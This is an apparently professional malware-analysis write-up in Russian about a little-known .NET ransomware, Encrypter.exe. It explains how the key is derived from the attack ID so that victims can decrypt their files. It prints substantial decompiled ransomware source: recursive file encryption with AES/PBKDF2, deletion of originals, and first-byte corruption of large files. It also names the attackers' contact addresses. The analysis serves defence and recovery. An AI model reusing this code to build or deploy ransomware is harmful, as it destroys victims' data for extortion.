Недавно у нас была возможность помочь одному из наших клиентов с программой-вымогателем. Одна из зашифрованных папок выглядела так, как показано ниже. Интересно, что на момент расследования информации об этом штамме программы-вымогателя было немного. Encrypter.exe был неизвестен VirusTotal, а адреса электронной почты, используемые злоумышленниками, не могли быть найдены с помощью популярных поисковых систем. Таким образом, мы сделали все возможное и доводим наш анализ до сведения общественности. И рассмотрим программу-вымогатель с симметричным шифром.
Папка с зашифрованными файлами
Основные наблюдения
После запуска шифрования вы найдете дополнительную информацию в записке о выкупе, которая хранится как __ВНИМАНИЕ__.hta. Нет ни ссылки на onion-страницу, ни какой-либо информации, куда должен идти платеж. Также не упоминается, сколько выкупа необходимо будет заплатить.
Примечание о программах-вымогателях
Также присутствует файл ID.cl, который содержит тот же идентификатор атаки, что и в примечании о программе-вымогателе. Идентификатор атаки также является частью имени файла каждого зашифрованного файла.
PS C:\Users\Compass\Documents> Get-content .\ID.cl
a18b140641d1974e
Поскольку найденное вредоносное ПО не принадлежит ни к одному популярному семейству, мы решили проанализировать Encrypter.exe в нашей лаборатории вредоносных программ, чтобы лучше понять, каковы его возможности.
Статический анализ кода
Статический анализ исполняемого файла быстро показал, что это двоичный файл .NET, поэтому мы приступили к его декомпиляции с помощью dotPeek от JetBrains.
Там мы получили декомпилированную основную функцию зловреда.
using Encrypter.Class;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
namespace Encrypter
{
internal class Program
{
private static string Driverbase = (string) null;
private static string email1 = "dcrypt2022@cyberfear.com";
private static string email2 = "dcrypt2022@cock.li";
public static readonly string alertName = "__ATTENTION__";
private static string password = "a3c8443f2d6a48c2aebb82fda8e06c28";
private static string password_1 = "a3c8443f2d6a48c2aebb82fda8e06c28";
private static string MainPassword = "";
private static string email;
private static string softwareName = "Encrypter";
private static string gozo = "a3c8443f2d6a48c2aebb8";
private static string meta = "";
private static char[] arr = new char[32];
private static char[] pa = new char[16];
private static CoreEncrypter coreEncrypter = (CoreEncrypter) null;
private static void Main(string[] args)
{
Program.MainPassword = Program.password + Program.password_1;
Utility utility = new Utility();
GetEmailAddress getEmailAddress1 = new GetEmailAddress();
GetEmailAddress getEmailAddress2 = new GetEmailAddress();
Program.gozo = getEmailAddress2.TopSolder();
for (int index = 0; index < Program.gozo.Length; ++index)
{
if (index % 3 == 0)
{
Program.meta += Program.gozo[index].ToString();
Program.arr[index] = Program.gozo[index];
}
}
if (utility.CheckIDFile())
{
Program.Driverbase = File.ReadAllText(Environment.CurrentDirectory + "\\ID.cl");
utility.Write("File -> UserID = " + Program.Driverbase, ConsoleColor.Green);
}
else
{
Program.Driverbase = Program.setEmail(Program.arr, 12);
try
{
File.WriteAllText(Environment.CurrentDirectory + "\\ID.cl", Program.Driverbase);
utility.Write("New -> UserID = " + Program.Driverbase, ConsoleColor.Yellow);
}
catch (Exception ex)
{
}
}
utility.Write("\nwrite yes and pres Enter !", ConsoleColor.Red);
utility.Write("\nUserID = " + Program.Driverbase, ConsoleColor.Cyan);
Alert alert = new Alert(Program.Driverbase, Program.email1, Program.email2);
Program.email = Program.email1 + " And " + Program.email2 + " (send both) ATTACK ID = " + Program.Driverbase + " Telegram=@decryptionsupport1";
Program.coreEncrypter = new CoreEncrypter(getEmailAddress2.EnterMail(Program.Driverbase, Program.Driverbase), alert.ValidateAlert(), Program.alertName, Program.email);
List<char> list = Program.Driverbase.Reverse<char>().ToList<char>();
string str = "";
for (int index = 0; index < 4; ++index)
str += list[index].ToString();
if (Console.ReadLine().Equals(str))
{
utility.Write("\nStart ...", ConsoleColor.Red);
Program.Enc(Environment.CurrentDirectory);
}
Console.ReadKey();
}
Программа определяет несколько переменных, а затем переходит к более интересным операциям. В строке программа проверяет, существует ли уже ID.cl в текущем каталоге, используя utility.CheckIDFile()
который реализован как:
public bool CheckIDFile() => File.Exists(Environment.CurrentDirectory + "\\ID.cl");
Если файл существует, его содержимое помещается в переменную Program.Driverbase, в противном случае переменной присваивается результат: Program.setEmail(Program.arr, 12) и создается файл ID.cl с содержимым этой переменной. .
Создать ИДЕНТИФИКАТОР АТАКИ
Аргумент Program.arr для функции Program.setEmail получен в цикле в строке 33 из Program.gozo. И Program.gozo устанавливается в строке 32 на вывод функции GetEmailAddress.TopSolder(), которая определяется как: Guid.NewGuid().ToString(«N»), практически случайный GUID без тире. Затем Program.setEmail включает в случайную шестнадцатеричную строку, предоставленную в качестве первого аргумента, текущий день и месяц и выводит 16-значное шестнадцатеричное значение. Это значение является идентификатором атаки.
public static string setEmail(char[] arr, int email)
{
string str1 = "";
string str2 = Convert.ToString(DateTime.Today.Day);
if (Convert.ToInt32(str2) <= 9)
{
arr[2] = '0';
arr[13] = str2[0];
}
else
{
arr[2] = str2[0];
arr[13] = str2[1];
}
string str3 = Convert.ToString(DateTime.Today.Month);
if (Convert.ToInt32(str3) <= 9)
{
arr[20] = '0';
arr[22] = str3[0];
}
else
{
arr[20] = str3[0];
arr[22] = str3[1];
}
arr[29] = '4';
foreach (char ch in arr)
{
if (ch != char.MinValue)
str1 += ch.ToString();
}
return str1;
}
Только уполномоченный персонал
Затем строка 62 инициализирует CoreEncrypter, а строка 67 приостанавливает выполнение в ожидании ввода от пользователя. Когда последние 4 шестнадцатеричных цифры идентификатора атаки вводятся в обратном порядке, программа продолжает работу с Program.Enc(Environment.CurrentDirectory), в противном случае она завершается, и никакие файлы не шифруются.
В отличие от подсказки, ввод «да» не сработает.
Черный список файлов и алгоритмы
Функция Program.Enc перечисляет файлы в указанном каталоге и выполняет Program.coreEncrypter.EncryptFile(file) для каждого файла, кроме тех, которые содержат любую из пяти предопределенных строк, таких как .hta или desktop.ini. После завершения шифрования файлов в текущем каталоге вредоносная программа рекурсивно шифрует файлы во всех подкаталогах.
private static List<string> Enc(string sDir)
{
List<string> stringList = new List<string>();
foreach (string file in Directory.GetFiles(sDir))
{
try
{
if (!file.Contains(".[Enc]"))
{
if (!file.Contains(".hta"))
{
if (!file.Contains("ID.cl"))
{
if (!file.Contains("desktop.ini"))
{
if (!file.Contains(Program.softwareName))
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine(file);
Console.ForegroundColor = ConsoleColor.Green;
Program.coreEncrypter.EncryptFile(file);
}
}
}
}
}
}
catch (Exception ex)
{
}
}
foreach (string directory in Directory.GetDirectories(sDir))
{
try
{
stringList.AddRange((IEnumerable<string>) Program.Enc(directory));
}
catch (Exception ex)
{
}
}
return stringList;
}
Функция CoreEncrypter.EncryptFile настраивает параметры AES (Rijndael), такие как его ключ и IV, с помощью класса Rfc2898DeriveBytes. RFC 2898 описывает популярный метод получения ключей: PBKDF2 (Функция получения ключей на основе пароля 2).
public void EncryptFile(string file)
{
byte[] buffer = new byte[(int) ushort.MaxValue];
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(this.password, new byte[8]
{
(byte) 1,
(byte) 2,
(byte) 3,
(byte) 4,
(byte) 5,
(byte) 6,
(byte) 7,
(byte) 8
}, 1);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
rijndaelManaged.Padding = PaddingMode.ISO10126;
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8)
AES IV и получение ключа
Пароль, используемый в качестве входных данных для функции получения ключа, является первым параметром конструктора CoreEncrypter.
public CoreEncrypter(string password, string alert, string alertName, string email)
{
this.password = password;
this.alert = alert;
this.alertName = alertName;
this.email = email;
}
Этот конструктор вызывался уже в функции Main, и getEmailAddress2.EnterMail(Program.Driverbase, Program.Driverbase) был ее первым аргументом. Как мы помним, Program.Driverbase — это просто идентификатор атаки, а функция GetEmailAddress.EnterMail определяется как общедоступная строка EnterMail(строка-пароль, строка-salt) => this.GetDriv_C(пароль + salt); с GetDriv_C:
public string GetDriv_C(string password)
{
using (SHA512CryptoServiceProvider cryptoServiceProvider = new SHA512CryptoServiceProvider())
{
byte[] bytes = Encoding.UTF8.GetBytes(password);
return Convert.ToBase64String(cryptoServiceProvider.ComputeHash(bytes));
}
}
Таким образом, все параметры AES детерминировано выводятся из идентификатора атаки, а шифрование происходит следующим образом.
Процесс шифрования
Файловый поток к исходному файлу открывается:
fileStream1 = new FileStream(file, FileMode.Open, FileAccess.ReadWrite);
Создается криптопоток с настроенным ранее AES:
path = file + ".[Enc][" + this.email + "]";
fileStream2 = new FileStream(path, FileMode.Create, FileAccess.Write);
cryptoStream = new CryptoStream((Stream) fileStream2, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
Содержимое исходного файла шифруется и записывается на диск:
do
{
count = fileStream1.Read(buffer, 0, buffer.Length);
if (count != 0)
cryptoStream.Write(buffer, 0, count);
}
while (count != 0);
Исходный файл удаляется:
File.Delete(file);
Обработка больших файлов
Описанный выше метод шифрования применяется только к файлам размером менее ~10 МБ:
if (fileStream1.Length < 10000000L)
Для больших файлов шифрование не применяется, но первый байт файла подвергается операции XOR с 0xff:
else
{
string destFileName = file + ".[Enc][" + this.email + "]_";
try
{
long position = fileStream1.Position;
int num = fileStream1.ReadByte() ^ (int) byte.MaxValue;
fileStream1.Seek(position, SeekOrigin.Begin);
fileStream1.WriteByte((byte) num);
fileStream1.Close();
File.Move(file, destFileName);
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex.Message);
Console.ForegroundColor = ConsoleColor.Red;
}
}
Действительно, PDF-файл размером около 15 МБ не был зашифрован, был изменен только его первый байт:
PS C:\Users\Compass\Documents> Format-Hex '.\Cryptography_part2.pdf.`[Enc`]`[dcrypt2022@cyberfear.com And dcrypt2022@cock.li (send both) ATTACK ID = a18b140641d1974e Telegram=@decryptionsupport1`]_' | select -First 1
Path: C:\Users\Compass\Documents\Cryptography_part2.pdf.[Enc][dcrypt2022@cyberfear.com And
dcrypt2022@cock.li (send both) ATTACK ID = a18b140641d1974e Telegram=@decryptionsupport1]_
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 DA 50 44 46 2D 31 2E 37 0D 25 E2 E3 CF D3 0D 0A ÚPDF-1.7.%âãÏÓ..
Процесс расшифровки
Дешифрование небольших файлов легко возможно, поскольку применяется симметричная криптография, а используемый ключ и IV получаются из идентификатора атаки, который присутствует в каждом зашифрованном имени файла. Для этого мы подготовили рецепт CyberChef, который вычисляет параметры AES из идентификатора атаки:
Вычисление параметров AES из идентификатора атаки
Затем, имея необходимые параметры AES, можно использовать другой рецепт CyberChef для расшифровки одного файла.
Расшифровка AES в CyberChef
Вывод
Радует, что не всякая ТА слишком сложна, и пострадавшие получают шанс легко восстановиться.